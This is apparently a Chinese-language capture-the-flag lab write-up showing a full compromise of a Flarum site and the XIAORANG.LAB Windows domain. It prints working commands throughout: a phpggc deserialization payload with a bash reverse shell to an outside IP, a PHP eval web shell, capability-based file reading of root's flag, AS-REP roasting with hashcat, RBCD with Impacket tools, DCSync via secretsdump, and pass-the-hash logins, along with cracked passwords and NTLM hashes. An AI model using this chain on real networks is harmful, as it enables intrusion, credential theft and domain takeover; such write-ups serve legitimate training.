fscan先扫一波

image-20231024153826631

一个80端口

image-20231024153856241

这个登录的话是不需要进行验证码或者别的验证东西 所以我们可以进行爆破·

用那个rockyou.txt就行了

1
administrator::1chris

爆破出密码后进行登录后台

image-20231024154244192

这个cms的话其实就是跟题目给的名字是一样的 Flarum

直接去找洞就行了

这里用p牛的一篇文章来参考

https://tttang.com/archive/1714/#toc_0x02-css

先下载一个phpggc https://github.com/ambionics/phpggc 就是php版的yso

1
./phpggc -p tar -b Monolog/RCE6 system "bash -c 'bash -i >& /dev/tcp/101.42.39.110/3389 0>&1'"

编译成功后会生成一大堆base64代码,复制过来,在后台修改css那里替换下面代码的xxx

1
@import (inline) 'data:text/css;base64,xxx';

image-20231024154602503

保存之后 开启监听 并且重新写一个css进去

1
2
3
.test {
content: data-uri('phar://./assets/forum.css');
}

image-20231024154735633

image-20231024154752600

低权限 估计要提权拿flag了 先弹个马到msf上

(这里用的是capabilities 这个的话就是将权限更加细分了而已 不在一股脑除了root就是www-data)

查看cap权限

1
getcap -r / 2>/dev/null

image-20231024155716923

这个openssl我们可以利用 (flag文件位置已知)

1
openssl enc -in "/root/flag/flag01.txt"

image-20231024160235538

接下来就是扫内网挂代理了

image-20231024160255260

image-20231024160531332

整理信息

1
2
3
4
5
6
7
172.22.60.52    getshell 

172.22.60.42 3389 XIAORANG\FILESERVER (文件服务)

172.22.60.8 3389 DC XIAORANG\DC

172.22.60.15 3389 XIAORANG\PC1

收集完信息后 没有思路了 回去到刚刚获取到的shell的主机上看看 有没有数据库或者啥重要的信息

image-20231024161012031

在网站目录下复现一个config.php的配置文件 里面有数据库 但是只能本地连接 我们上传个adminer.php上去

写个马用蚁剑传

1
echo "<?php @eval(\$_POST[1]);?>" > 1.php

image-20231024161321915

试了一下 发现只有assets是我们有权限写文件进去的

image-20231024161532024

image-20231024161633166

我们将这个表里的内容全部以csv的格式导出 然后execl打开 然后我们就能提取到email这个列的所有数据了

这个盲猜一手 AS-REP Roasting

1
2
3
proxychains4 impacket-GetNPUsers -dc-ip 172.22.60.8  xiaorang.lab/ -usersfile flarum_users.txt

//这里写域控ip是因为申请tgt票据的时候我们是像域控申请的

image-20231024162034987

这里返回的hash值是session_key的 我们能爆破出用户的密码是因为这个session_key是由用户的密码hash值进行加密的

然后使用hashcat进行爆破(只爆破出了一个)

1
hashcat -a 0 -m 18200 --force 1.txt rockyou.txt

wangyun@XIAORANG.LAB::Adm12geC

1
2
3
proxychains4 crackmapexec smb 172.22.60.15 -u wangyun -p Adm12geC -d xiaorang.lab

//测试一下密码是否可靠

image-20231024162317361

并且这个ip还开了3389端口 尝试rdp

image-20231024162525165

卓面上有个xshell 但是只能知道用户名 却不知道密码

使用https://github.com/JDArmy/SharpXDecrypt/ 这个工具 可以帮助我们获取到这个zhangxin用户的密码

image-20231024162715933

获取到了该密码

image-20231024162753044

在域内

image-20231024162846936

并且还是*Account Operators这个组的成员

image-20231024162919468

还是这个电脑的用户

用sharphound.exe跑一下

1
proxychains bloodhound-python -u wangyun -p Adm12geC -d xiaorang.lab -c all -ns 172.22.60.8 --zip --dns-tcp

image-20231024163117214

这下思路就清晰了

这里可以发现zhangxin用户属于Acount Operators, 因此对域内非域控的所有机器都具有GenericAll权限

所以这里就可以打RBCD

接下来三步走就行了

1
proxychains python3 addcomputer.py xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass 'P@ssw0rd'
1
proxychains python3 rbcd.py xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8 -action write -delegate-to 'FILESERVER$' -delegate-from 'TEST$'
1
proxychains python3 getST.py xiaorang.lab/'TEST$':'P@ssw0rd' -spn cifs/FILESERVER.xiaorang.lab -impersonate Administrator -dc-ip 172.22.60.8

这里话我们就获取到FILESERVER$这个机器的TGT票据了

然后直接注入本地来无密码登录

1
export KRB5CCNAME=administrator.ccache

修改/etc/hosts 不然等会域名解析会失败

image-20231024163431538

然后无密码登录到FILESERVER$这个机器上 并且是system权限的

1
proxychains python3 psexec.py Administrator@FILESERVER.xiaorang.lab -k -no-pass -dc-ip 172.22.60.8 -codec gbk

然后就能拿flag了 然后因为这个FILESERVER$具有DCSync权限

(因为我们是system权限了 所以我们能导出这台机器的本地hash值)

1
2
3
proxychains python3 secretsdump.py -k -no-pass Fileserver.xiaorang.lab -dc-ip 172.22.60.8

//类似于mimikatz的logonpasswords

获取到了这台机器的hash值后 我们还是用上面的脚本 只不过这次是DCSync

1
proxychains python3 secretsdump.py xiaorang.lab/'Fileserver$':@172.22.60.8 -hashes ':951d8a9265dfb652f42e5c8c497d70dc' -just-dc-user Administrator

获取到域控hash之后 直接PTH打域控和其他机器了

1
2
3
proxychains python3 wmiexec.py -hashes :c3cfdc08527ec4ab6aa3e630e79d349b Administrator@172.22.60.8 -codec gbk

//域控
1
2
3
proxychains python3 wmiexec.py -hashes :c3cfdc08527ec4ab6aa3e630e79d349b xiaorang.lab/Administrator@172.22.60.15 -codec gbk

//PC1

结束了